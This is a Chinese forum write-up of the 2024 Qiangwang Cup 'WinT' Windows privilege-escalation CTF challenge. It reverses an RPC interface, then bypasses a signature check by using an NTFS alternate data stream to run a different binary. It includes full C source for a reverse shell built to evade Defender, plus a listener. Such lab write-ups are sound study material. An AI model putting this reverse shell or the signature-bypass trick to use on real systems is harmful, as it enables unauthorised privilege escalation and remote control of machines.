首页
社区
课程
招聘
[原创]2024强网杯WinT 题目复现
发表于: 2025-9-10 10:09 474

[原创]2024强网杯WinT 题目复现

2025-9-10 10:09
474

2024强网杯WinT 题目复现

此题是一个windows用户提权题目。给了一个win server 2021 虚拟机,运行一个RPC服务,一个管理员账号和一个qwb账号,要求弹出一个system权限的CMD。

与RPC 服务交互需要通过idl文件作为接口,这题并没没有给出,所以需要逆向得到。

这里使用了两个PRC工具,一个是RPC工具包中的pe_rpc_scraper.py,可以对RPC服务进行静态分析

1
2
C:\Users\RedSun>python "D:\STUDY\RPC相关\RPC TOOLS\RPC工具包\rpc_toolkit\pe_rpc_if_scraper\pe_rpc_scraper.py" D:\STUDY\RPC相关\2024qwb\WinT\attachment\WinT\server.exe --output_path  D:\STUDY\RPC相关\2024qwb\WinT\attachment\WinT\server.rpc.txt
failed getting symbol for addr 0x140001590: 487

得到如下信息:

1
{"server.exe": {"20155544-2054-4544-4555-544555445555": {"number_of_functions": 1, "functions_pointers": ["0x140001590"], "function_names": [""], "role": "server", "flags": "0x4000000", "interface_address": "0x140014760"}}}

另一个是RPCView,可以直接反编译出idl接口,但是需要将RPCView设置成详细模式,方法是点击FIle->show details for all process

server.exe 的信息如图所示:

image-20250909212119552

在Interface窗口中,右键直接逆向接口如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[
uuid(20155544-2054-4544-4555-544555445555),
version(1.0),
]
interface DefaultIfName
{
 
    typedef struct Struct_22_t
    {
        long    StructMember0;
        long    StructMember1;
    [size_is(StructMember1)]short StructMember2[];
        }Struct_22_t;
 
long Proc0(
    [in][out]/* WARNING : user_marshall should be defined in ACF file */ [user_marshall(struct Struct_22_t** )] arg_1);
}

这里报了一个错误,参考曾伏虎《攻击RPC:第七届强网杯决赛WinT赛题复盘》(移动端阅读),修改如下:

1
2
3
4
5
6
7
8
9
10
11
import "oaidl.idl";
import "ocidl.idl";
 
[
    uuid(20155544-2054-4544-4555-544555445555),
    version(1.0),
]
interface DefaultIfName
{
    long Proc0([in, out] BSTR* arg_1);
}

可以看到这个idl文件最重要的就是,uuid和接口函数。把这个文件server.idl导入vs,编译会报错,但是会生成server_h.h,server_s.c,server_c.c,把这三个文件添加到工程中,自己的exp.c 包含server_h.h就可以编译通过了。exp.c 直接调用Proc0就可以调用接口了,在本题中;对应的是IDA反汇编的sub_140001590函数,也就是说现在可以直接调用这个函数。

那么如何利用sub_140001590函数呢。这个函数的功能相对简单,大意是验证程序的签名是否是"Nonick",如果是则恢复创建的主线程,相当于执行了一个exe,但需要验证通过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall sub_140001590(__int64 a1, PCWSTR *p_SourceString)
{
  _QWORD *Heap; // rax
  void *Heap_1; // rbx
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // [rsp+60h] [rbp-A0h] BYREF
  HANDLE hThread; // [rsp+68h] [rbp-98h] BYREF
  HANDLE hProcess; // [rsp+70h] [rbp-90h] BYREF
  _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-88h] BYREF
  __int64 n88; // [rsp+90h] [rbp-70h]
  _DWORD Dst[20]; // [rsp+98h] [rbp-68h] BYREF
  WCHAR Filename[264]; // [rsp+F0h] [rbp-10h] BYREF
 
  RtlInitUnicodeString(&DestinationString, *p_SourceString);
  ProcessParameters = 0LL;
  RtlCreateProcessParametersEx(&ProcessParameters, &DestinationString, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 1);
  memset(Dst, 0, sizeof(Dst));
  n88 = 88LL;
  Dst[0] = 0;
  Heap = RtlAllocateHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 8u, 0x20uLL);
  *Heap = 40LL;
  Heap_1 = Heap;
  Heap[1] = 131077LL;
  Heap[2] = DestinationString.Length;
  Heap[3] = DestinationString.Buffer;
  hThread = 0LL;
  NtCreateUserProcess(&hProcess, &hThread, 0x1FFFFFLL);
  RtlFreeHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, Heap_1);
  RtlDestroyProcessParameters(ProcessParameters);
  memset(Filename, 0, 520);
  K32GetModuleFileNameExW(hProcess, 0LL, Filename, 0x104u);
  if ( (unsigned int)sub_1400013E0(Filename) )
  {
    printf("%ls is verified!\n", Filename);
    ResumeThread(hThread);
    return 0LL;
  }
  else
  {
    printf("%ls is NOT verified!\n", Filename);
    TerminateThread(hThread, 0);
    TerminateProcess(hProcess, 0);
    return 1LL;
  }
}

显然我们自己的程序是无法通过验证的,但题目提供了一个hello.exe,恰好拥有"Nonick"签名,所以必须利用这个签名程序绕过证书的检测,但最终还是要执行我们自己的程序。

参考这篇文章WinT - 2023 第七届“强网杯”决赛 RPC 本地提权 Review | WHOAMI 找到了所有的技术,称为 Windows 的 NTFS ADS(Alternate Data Stream),具体原理可以参考 ”Pentester’S Windows NTFS Tricks Collection“ 这篇文章中 ”Trick 6: Hiding The Process Binary“ 部分的描述。

利用这个技术将shell.exe 伪造成hello.exe,验证的是hello.exe,但启动的是shell.exe

1
2
3
CopyFileW(L".\\hello.exe", L"C:\\Windows\\Temp\\shell", 0);
 
CopyFileW(L".\\shell.exe", L"C:\\Windows\\Temp\\shell. .::$DATA", 0);

最终传递给接口函数的是:

1
2
BSTR bShellPath = SysAllocString(L"\\??\\C:\\Windows\\Temp\\shell. .");
Proc0(hBinding, &bShellPath);

shell.exe 在我们的exp工程中,是一个反弹shell到2333端口的程序,这里直接让deepseek生成了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <process.h>
 
#pragma comment(lib, "ws2_32.lib")
 
// 反向 Shell 函数
void reverse_shell(const char* ip, int port) {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    char cmd[] = "cmd.exe";
 
    // 初始化 Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        return;
    }
 
    // 创建 socket
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET) {
        WSACleanup();
        return;
    }
 
    // 设置服务器地址
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(ip);
 
    // 连接到服务器
    if (WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
        closesocket(sock);
        WSACleanup();
        return;
    }
 
    // 设置进程启动信息
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
 
    // 创建 cmd 进程
    if (CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
 
    // 清理
    closesocket(sock);
    WSACleanup();
}
 
// 主函数
int main() {
    const char* lhost = "127.0.0.1"// 修改为你的 IP
    int lport = 2333;
 
    reverse_shell(lhost, lport);
    return 0;
}

直接用msfvenom生成的过不了defender,同理用来监听2333端口netcat也用自己的代码编译,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <process.h>
 
#pragma comment(lib, "ws2_32.lib")
 
// 函数声明
void ExecuteShell(SOCKET client);
 
int main(int argc, char* argv[]) {
    // 检查参数
    if (argc != 2) {
        printf("Usage: %s <port>\n", argv[0]);
        printf("Example: %s 2333\n", argv[0]);
        return 1;
    }
 
    int port = atoi(argv[1]);
    if (port <= 0 || port > 65535) {
        printf("Invalid port number: %s\n", argv[1]);
        return 1;
    }
 
    WSADATA wsaData;
    SOCKET server, client;
    struct sockaddr_in serverAddr, clientAddr;
    int clientAddrSize = sizeof(clientAddr);
 
    // 初始化Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        printf("WSAStartup failed: %d\n", WSAGetLastError());
        return 1;
    }
 
    // 创建socket
    server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (server == INVALID_SOCKET) {
        printf("Socket creation failed: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
 
    // 绑定地址和端口
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = INADDR_ANY;
    serverAddr.sin_port = htons(port);
 
    if (bind(server, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        printf("Bind failed: %d\n", WSAGetLastError());
        closesocket(server);
        WSACleanup();
        return 1;
    }
 
    // 开始监听
    if (listen(server, 1) == SOCKET_ERROR) {  // 只允许一个连接排队
        printf("Listen failed: %d\n", WSAGetLastError());
        closesocket(server);
        WSACleanup();
        return 1;
    }
 
    printf("Listening on port %d...\n", port);
    printf("Waiting for a single connection...\n");
 
    // 接受客户端连接(只接受一个)
    client = accept(server, (struct sockaddr*)&clientAddr, &clientAddrSize);
    if (client == INVALID_SOCKET) {
        printf("Accept failed: %d\n", WSAGetLastError());
        closesocket(server);
        WSACleanup();
        return 1;
    }
 
    printf("Client connected: %s:%d\n",
        inet_ntoa(clientAddr.sin_addr), ntohs(clientAddr.sin_port));
    printf("Shell session started. Type 'exit' to quit.\n");
 
    // 关闭监听socket,不再接受其他连接
    closesocket(server);
 
    // 执行shell
    ExecuteShell(client);
 
    // 清理
    closesocket(client);
    WSACleanup();
 
    printf("Connection closed.\n");
    return 0;
}
 
void ExecuteShell(SOCKET client) {
    char buffer[1024];
    int bytesRead, bytesSent;
 
    //
    send(client, "\n", 1, 0);
 
    while (1) {
 
 
        // 接收命令输出
        //printf("Command output:\n");
        while (1) {
            bytesRead = recv(client, buffer, sizeof(buffer) - 1, 0);
            if (bytesRead <= 0) {
                break;
            }
 
            buffer[bytesRead] = '\0';
            printf("%s", buffer);
 
            // 检查是否接收完所有数据
            if(buffer[strlen(buffer)-1]=='>')
            //if (bytesRead < sizeof(buffer) - 1)
            {
                break;
            }
        }
 
        // 显示本地命令提示符
//printf("C:\\>");
        fflush(stdout);
 
        // 读取本地输入
        if (fgets(buffer, sizeof(buffer), stdin) == NULL) {
            break;
        }
 
        // 去除换行符
        //buffer[strcspn(buffer, "\n")] = 0;
 
        // 检查退出命令
        if (strcmp(buffer, "exit") == 0) {
            break;
        }
 
        // 添加换行符以便远程执行
        //strcat(buffer, "\n");
 
        // 发送命令到远程客户端
        bytesSent = send(client, buffer, strlen(buffer), 0);
        if (bytesSent == SOCKET_ERROR) {
            printf("Send failed: %d\n", WSAGetLastError());
            break;
        }
 
        //printf("\n");
    }
}

看一下defender

关于调试,直接x64dbg管理员运行后附加到server.exe 进程。


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回